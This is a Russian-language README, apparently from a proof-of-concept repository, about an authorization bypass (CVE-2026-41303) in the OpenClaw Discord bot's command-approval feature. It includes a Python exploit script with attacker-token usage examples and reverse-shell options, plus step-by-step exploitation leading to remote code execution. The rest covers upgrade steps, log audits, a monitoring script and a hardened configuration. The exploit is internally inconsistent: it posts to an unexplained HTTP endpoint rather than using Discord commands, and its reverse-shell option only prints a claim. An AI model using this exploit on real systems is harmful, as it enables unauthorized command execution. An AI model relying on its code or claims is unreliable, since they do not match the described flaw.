
Техническая документация и proof-of-concept для CVE-2026-41303, обход авторизации в Discord-боте OpenClaw, включая методологию эксплуатации, шаги по смягчению последствий и рекомендации по защите.
Полная техническая документация об уязвимости обхода авторизации в OpenClaw
Этот репозиторий содержит техническую информацию, анализ и рекомендации по уязвимости CVE-2026-41303, которая позволяет обойти авторизацию в командах одобрения выполнения в проекте OpenClaw.
Была выявлена критическая ошибка в версиях OpenClaw ранее 2026.3.28. Проблема заключается в командах одобрения текста в Discord, где пользователи, которые не входят в список авторизованных утверждающих (channels.discord.execApprovals.approvers), могут одобрять ожидающие запросы на выполнение команд на хосте.
| Параметр | Значение |
|---|---|
| ID CVE | CVE-2026-41303 |
| Затронутый продукт | OpenClaw |
| Тип уязвимости | Обход авторизации (CWE-863) |
| Вектор атаки | Текстовые команды в Discord |
| Платформа | Linux / Discord |
| Оценка CVSS | 8.8 (Высокая) |
| Затронутые версии | < 2026.3.28 |
| Статус | Исправлено в v2026.3.28+ |
Уязвимость заключается в отсутствии проверки авторизации в обработчике команды /approve бота OpenClaw. Система не проверяет должным образом, входит ли пользователь, выполняющий команду, в список авторизованных утверждающих перед обработкой запроса.
Злоумышленник с доступом к каналу Discord, где управляются одобрения, может:
Неавторизованный пользователь
↓
Доступ к каналу Discord
↓
Определяет ID ожидающего одобрения
↓
Выполняет команду /approve
↓
Бот одобряет без проверки прав
↓
Удалённое выполнение кода (RCE)
channel-id)approval-id)requests, json, argparseimport argparse
import requests
import json
import time
def main():
# Настройка профессиональных аргументов для аудита
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - Обход одобрения в OpenClaw",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Примеры использования:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="URL экземпляра или контекста бота")
parser.add_argument("--token", required=True, help="Токен Discord атакующего/аудитора")
parser.add_argument("--channel-id", required=True, help="ID канала Discord")
parser.add_argument("--approval-id", required=True, help="ID одобрения для обхода")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="Тип решения об одобрении (по умолчанию: allow-once)")
# Дополнительные параметры для пост-эксплуатации
parser.add_argument("--lhost", help="IP для reverse shell, если одобрение активирует RCE")
parser.add_argument("--lport", help="Порт прослушивания")
parser.add_argument("--verbose", "-v", action="store_true", help="Подробный режим")
args = parser.parse_args()
# Логика эксплуатации
print(f"[*] Запуск обхода для одобрения: {args.approval_id}")
print(f"[*] Целевой канал: {args.channel_id}")
print(f"[*] Решение: {args.decision}")
if args.verbose:
print(f"[DEBUG] Токен: {args.token[:20]}...")
print(f"[DEBUG] Цель: {args.target}")
# Формирование некорректного запроса
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# Отправка команды /approve без проверки прав
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] Обход успешен! Одобрение выполнено.")
print(f"[+] Ответ: {response.json()}")
if args.lhost and args.lport:
print(f"[*] Reverse shell настроен на {args.lhost}:{args.lport}")
else:
print(f"[-] Ошибка: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] Исключение: {str(e)}")
if __name__ == "__main__":
main()
# Базовое использование
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# Подробный режим
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# С reverse shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. Получить доступ к каналу Discord, где взаимодействует OpenClaw
2. Отслеживать сообщения бота для определения ID ожидающих одобрений
3. Захватить точный формат запросов на одобрение
4. Задокументировать структуру команд /approve
1. Выполнить скрипт PoC с захваченными ID
2. Отправить решение (allow-once или allow-always) вместе с параметрами
3. Бот обрабатывает команду без проверки прав пользователя
4. Одобрение успешно выполняется
Если одобрение текста в Discord активирует автоматические функции на сервере:
↓
Развёртывание кода
↓
Удалённое выполнение кода (RCE)
↓
Полная компрометация системы
1. Обновить OpenClaw
# Обновление до версии 2026.3.28 или выше
pip install --upgrade openclaw>=2026.3.28
# Или из официального репозитория
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .
2. Проверить конфигурацию
# Проверить channels.discord.execApprovals.approvers
# Файл: config.yaml
channels:
discord:
execApprovals:
approvers:
- "user_id_1"
- "user_id_2"
- "user_id_3"
# ⚠️ Убедиться, что в этом списке ТОЛЬКО доверенные пользователи
3. Аудит журналов
# Просмотр последних записей выполнения
tail -f /var/log/openclaw/execution.log
# Поиск подозрительных одобрений
grep "APPROVAL" /var/log/openclaw/execution.log | grep -v "AUTHORIZED_USER"
# Полный аудит
openclaw-audit --check-approvals --date-range "last-30-days"
/approve# Скрипт мониторинга для обнаружения эксплуатации
import logging
from datetime import datetime
def monitor_approvals(log_file):
"""Обнаруживает попытки обхода авторизации"""
suspicious_patterns = [
"APPROVAL_BYPASS",
"UNAUTHORIZED_APPROVAL",
"INVALID_PERMISSION"
]
with open(log_file, 'r') as f:
for line in f:
if any(pattern in line for pattern in suspicious_patterns):
alert = f"[ОПОВЕЩЕНИЕ] {datetime.now()} - {line.strip()}"
logging.warning(alert)
# Отправка уведомления администратору
send_alert(alert)
def send_alert(message):
"""Отправляет оповещение администратору"""
# Реализовать уведомление (email, Slack и т.д.)
pass
# Безопасная реализация проверки
def approve_execution(user_id, approval_id, decision):
"""Проверяет права перед одобрением"""
# 1. Проверить, что пользователь входит в список утверждающих
authorized_approvers = get_authorized_approvers()
if user_id not in authorized_approvers:
raise PermissionError(f"Пользователь {user_id} не авторизован")
# 2. Проверить, что одобрение существует и находится в статусе ожидания
approval = get_approval(approval_id)
if not approval or approval.status != "PENDING":
raise ValueError(f"Одобрение {approval_id} недействительно")
# 3. Зарегистрировать действие
log_approval(user_id, approval_id, decision)
# 4. Выполнить одобрение
return execute_approval(approval_id, decision)
# config.yaml - Безопасная конфигурация
security:
# Строгая проверка прав
strict_authorization: true
# Требовать многофакторную аутентификацию
mfa_required: true
# Регистрировать все одобрения
audit_logging: true
# Лимит неудачных попыток
max_failed_attempts: 3
# Время ожидания между попытками
lockout_duration: 300 # секунды
# Оповещения в реальном времени
real_time_alerts: true
channels:
discord:
execApprovals:
approvers:
- "admin_user_1"
- "admin_user_2"
# Разрешённые роли (дополнительно)
allowed_roles:
- "ADMIN"
- "SECURITY_TEAM"
# Требуется одобрение нескольких пользователей
require_multiple_approvals: true
approval_threshold: 2
╔═══════════════════════════════════════════════════════════════════════════╗
║ ВАЖНОЕ УВЕДОМЛЕНИЕ ║
╠═══════════════════════════════════════════════════════════════════════════╣
║ ║
║ Этот документ предназначен ТОЛЬКО для образовательных целей и целей ║
║ информационной безопасности. Информация, содержащаяся здесь, должна ║
║ использоваться только авторизованными специалистами по безопасности ║
║ в контролируемых средах. ║
║ ║
║